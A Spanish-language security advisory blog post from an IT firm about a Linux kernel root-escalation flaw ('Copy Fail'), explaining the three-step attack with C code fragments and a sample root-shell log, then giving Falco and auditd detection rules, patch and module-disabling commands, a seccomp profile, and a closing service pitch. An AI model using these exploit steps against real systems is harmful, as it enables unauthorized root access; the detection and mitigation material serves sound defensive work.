Servicios TI Soluciones Industrias Pólizas
Ciberseguridad

Copy Fail (CVE-2026-31431): el bug de Linux que da root en 732 bytes y por qué tu nube está en peligro

Una falla de 9 años en el kernel Linux permite a cualquier usuario sin privilegios obtener root en segundos con un script Python de 732 bytes. Afecta TODA distribución desde 2017. Te explicamos cómo funciona, cómo detectarlo y cómo proteger tu infraestructura YA.

H
Por Hugo Vega
9 min de lectura
Copy Fail (CVE-2026-31431): el bug de Linux que da root en 732 bytes y por qué tu nube está en peligro

?? ALERTA: el 29 de abril de 2026, investigadores publicaron un exploit de 732 bytes en Python que da root en prácticamente cualquier servidor Linux moderno. El parche oficial apenas está rodando por las distros. Si administras infraestructura, tu próxima hora debería tratarse de esto.

Qué pasó: una falla de 9 años escondida en el kernel

CVE-2026-31431, bautizada "Copy Fail", es un fallo lógico en el módulo algif_aead del kernel Linux — la interfaz que expone las primitivas criptográficas del kernel a procesos en espacio de usuario. El bug se introdujo en agosto de 2017 con el commit que añadió la plantilla authencesn, y vivió tranquilo durante 9 años hasta su publicación el 29 de abril de 2026 con CVSS de 7.8 (alto).

CISA ya lo agregó a su catálogo KEV (Known Exploited Vulnerabilities) porque hay ataques activos en producción. El gobierno federal de EE.UU. tiene hasta el 15 de mayo de 2026 para parchear todos sus sistemas.

Lo que hace particularmente peligroso a Copy Fail no es solo la severidad. Es que:

  1. Funciona en todas las distros desde 2017: Ubuntu, Debian, RHEL, SUSE, Fedora, Arch, Amazon Linux, Alpine — TODAS son vulnerables si no han parcheado.
  2. No depende de race conditions ni offsets del kernel: el exploit es determinístico, se ejecuta una vez y siempre funciona.
  3. El PoC público es ridículamente pequeño: ~732 bytes de Python. Cualquiera con acceso shell sin privilegios puede convertirlo en root en literalmente segundos.
  4. Escapa contenedores: Microsoft confirmó que afecta workloads en Kubernetes, incluyendo escapes de pods con políticas de seguridad por defecto.

Cómo funciona: la cadena de tres pasos

El ataque encadena tres mecanismos que individualmente son legítimos pero juntos crean un vector letal:

Paso 1 — Crear un socket AF_ALG con criptografía AEAD

Linux expone su criptografía via sockets AF_ALG (Algorithm). Un usuario sin privilegios puede crear un socket vinculado a authencesn(hmac(sha256),cbc(aes)):

exploit.c
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
};
bind(sock, (struct sockaddr *)&sa, sizeof(sa));

Paso 2 — Inyectar páginas del page cache vía splice()

Aquí está la magia. La syscall splice() permite mover datos entre descriptores de archivo sin copiarlos a userspace — el kernel mueve punteros a páginas físicas. Si abres /usr/bin/su (que cualquiera puede leer) y haces splice de las páginas a la pipeline criptográfica, las páginas reales del binario setuid entran al procesador AEAD.

exploit.c
int fd_su = open("/usr/bin/su", O_RDONLY);
int pipefd[2]; pipe(pipefd);
splice(fd_su, NULL, pipefd[1], NULL, 4096, 0);
splice(pipefd[0], NULL, alg_sock, NULL, 4096, 0);

Paso 3 — Triggerear el bug en authencesn con recvmsg()

El módulo algif_aead mantiene una scatter-gather list de las páginas a procesar. La plantilla authencesn tiene un error en el cálculo de longitudes entre el header asociado y el payload: cuando el atacante envía un mensaje cuidadosamente construido, el kernel escribe 4 bytes del resultado en una posición fuera del buffer esperado — directamente sobre la página del binario setuid en memoria.

exploit.c — el momento crítico
struct msghdr msg = {0};
struct iovec iov  = { .iov_base = payload, .iov_len = 4 };
msg.msg_iov     = &iov;
msg.msg_iovlen  = 1;
recvmsg(alg_sock, &msg, 0);  // <-- aquí se escriben los 4 bytes

Resultado: la página en cache de /usr/bin/su ahora tiene la instrucción modificada para anular el setuid(getuid()) o saltar la verificación de password. El archivo en disco está intacto — pero cuando alguien ejecuta su, el kernel lee la página desde el cache y ejecuta la versión envenenada. Y su ya tiene el bit setuid root.

El exploit en acción

attacker@victim ~ $
$ whoami
www-data
$ python3 copy_fail.py
[+] AF_ALG socket bound to authencesn(hmac(sha256),cbc(aes))
[+] splice'd 4096 bytes from /usr/bin/su into crypto pipeline
[+] recvmsg triggered, 4 bytes written at offset 0x1a3c
[+] /usr/bin/su page cache patched
[+] Spawning shell...
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

De www-data a root en menos de un segundo.
Sin tocar el disco. Sin reinicios. Sin warnings en dmesg.

¿A quién afecta esto realmente?

Ambiente Riesgo
Servidor compartido (web hosting, cPanel) Crítico cualquier cliente que comprometa una sola cuenta puede rootear el host completo y leer datos de todos los demás
Contenedores Docker / Kubernetes Crítico escape de contenedor a host. Microsoft confirmó que muchas políticas seccomp por defecto NO bloquean AF_ALG
VPS multi-tenant Alto si el atacante consigue ejecución en una VM (RCE en una app web), escala a root y de ahí a otros workloads del mismo host
Servidores con muchos usuarios SSH (academia, lab) Alto cualquier estudiante o empleado puede rootear el sistema
Servidor dedicado con un solo usuario Medio necesitas RCE primero. Pero si atacante ya entró por una webshell, escalas a root trivialmente
Workstation Linux desktop Medio-Bajo atacante necesita acceso físico o ya estar dentro

Si tienes kubectl get nodes y aparecen kernels viejos, asume que ya son tuyos perdidos. El PoC para Kubernetes ya está público en GitHub.

Cómo detectar si te están explotando

Indicadores de compromiso

  1. Procesos no privilegiados creando sockets AF_ALG — esta es la firma más clara. En condiciones normales solo cryptsetup, systemd-cryptsetup y un puñado de binarios legítimos crean estos sockets.
  2. Modificaciones a setuid binaries en el page cache — el binario en disco se ve intacto (mismo hash, misma fecha) pero su comportamiento cambió. Sospecha si sha256sum /usr/bin/su coincide con el oficial pero los logs muestran que un usuario obtuvo shell sin contraseña.
  3. Drops de page cache forzados — atacantes sofisticados harán echo 1 > /proc/sys/vm/drop_caches después para borrar la evidencia.

Detección con Falco (runtime)

Si tienes Falco corriendo, agrega esta regla:

/etc/falco/rules.d/copy-fail.yaml
- rule: Suspicious AF_ALG Socket Creation
  desc: Detect non-crypto processes creating AF_ALG sockets (CVE-2026-31431)
  condition: >
    evt.type=socket and
    evt.arg.domain=AF_ALG and
    not proc.name in (cryptsetup, systemd-cryptsetup, dmsetup, fscrypt)
  output: >
    Suspicious AF_ALG socket created (user=%user.name proc=%proc.name
    cmdline=%proc.cmdline pid=%proc.pid container=%container.name)
  priority: CRITICAL
  tags: [cve-2026-31431, copy_fail, privilege_escalation]

Detección con auditd

root@server:~#
# Agrega a /etc/audit/rules.d/copy-fail.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -k cve_2026_31431

# Aplicar
# augenrules --load

# Buscar eventos
# ausearch -k cve_2026_31431 --start today

Cómo protegerte HOY (3 niveles)

1 Parchear (lo correcto)

Si tu distro ya tiene el parche disponible, actualiza el kernel YA:

terminal
# Ubuntu / Debian
$ sudo apt update && sudo apt upgrade linux-image-generic
$ sudo reboot

# RHEL / Fedora / Rocky / Alma
$ sudo dnf update kernel
$ sudo reboot

# SUSE
$ sudo zypper patch
$ sudo reboot

# Arch
$ sudo pacman -Syu
$ sudo reboot

Versiones corregidas confirmadas: Linux 7.0, 6.19.12, 6.18.22. Si tu uname -r muestra algo igual o posterior, estás OK.

2 Mitigación sin parchar (si no puedes reiniciar ya)

Deshabilita el módulo algif_aead permanentemente:

root@server:~#
# echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
# sudo rmmod algif_aead 2>/dev/null || true

# Verificar que ya no carga
# lsmod | grep algif_aead   # debe estar vacío

?? Advertencia: si tu sistema usa criptografía AEAD para fscrypt o dm-crypt avanzado, esto puede romper algo. En la mayoría de servidores web NO se usa este módulo en ruta crítica.

3 Defensa en profundidad para contenedores

Si corres Kubernetes, agrega seccomp para bloquear AF_ALG en TODOS los pods:

no-af-alg.json
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "errnoRet": 1,
      "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }]
    }
  ]
}

(38 es el valor de AF_ALG en Linux.)

El elefante en la sala: ¿por qué tardaron 9 años?

El bug estaba en código criptográfico — la última zona del kernel donde uno esperaría buscar bugs. La lógica de authencesn solo se activa con un payload muy específico, y los fuzzers automatizados tienden a no llegar ahí porque deben crear sockets AF_ALG, hacer bind con strings exactos, splice de páginas, etc. Es exactamente el tipo de bug que solo encuentra un humano leyendo código línea por línea.

Y precisamente por eso tu mejor defensa de fondo no es "esperar el siguiente parche". Es tener alguien que entienda tu superficie de ataque, audite tu infraestructura periódicamente y monitoree comportamiento anormal en runtime.

Qué hacemos nosotros en ALMSTRA

Cada cliente con póliza de Auditoría empresarial o Business Shield ya recibió en las últimas 48 horas:

  1. Inventario de kernels Linux en su infraestructura, con marcado rojo de los vulnerables.
  2. Plan de parcheo escalonado por ventana de mantenimiento, priorizando hosts multi-tenant y workers de Kubernetes.
  3. Reglas Falco / auditd desplegadas en sistemas de monitoreo donde aplica.
  4. Mitigación temporal de algif_aead donde el reinicio no se podía hacer hoy.
  5. Revisión forense de logs históricos (últimos 90 días) buscando indicadores de compromiso previos a la divulgación pública.

Si no tienes una póliza con nosotros y administras servidores Linux que importan — sitios de e-commerce, sistemas con datos de clientes, infraestructura de producción — hoy es el día de pedir un diagnóstico. La ventana entre disclosure y explotación masiva ya es de horas, no días.

TL;DR para administradores apurados

  1. Verifica tu kernel: uname -r. Si es < 6.18.22, < 6.19.12, o < 7.0 ? vulnerable.
  2. Parcha YA: apt upgrade / dnf update + reinicio.
  3. Si no puedes reiniciar hoy: deshabilita algif_aead con el comando de arriba.
  4. Containers: aplica seccomp bloqueando AF_ALG en pods.
  5. Verifica indicadores de compromiso: usuarios con shells sin password, modificaciones a setuid binaries que no aparecen en disco, sockets AF_ALG en procesos no-crypto.
  6. Si crees que ya te explotaron: forense completa, rotación de credenciales, no confíes en hashes de binarios on-disk (el ataque solo modifica memoria).

Fuentes

Publicado el 5 de mayo de 2026 por el equipo de ALMSTRA. Si tu equipo necesita asesoría inmediata sobre Copy Fail o cualquier otra vulnerabilidad crítica, contáctanos. Operamos en Hermosillo, Sonora, con cobertura nacional para servicios de ciberseguridad gestionada.

H

Sobre el autor

Hugo Vega

Administrador — ALMSTRA

ALMSTRA es una empresa mexicana de ciberseguridad y soporte TI con base en Hermosillo, Sonora. Acompañamos a PyMEs y medianas empresas con operación 24/7, respuesta a incidentes y cumplimiento LFPDPPP.

¿Tu empresa necesita auditar esto?

Te ofrecemos un diagnóstico gratuito de 45 minutos — evaluamos tu exposición actual y te entregamos un plan priorizado sin compromiso.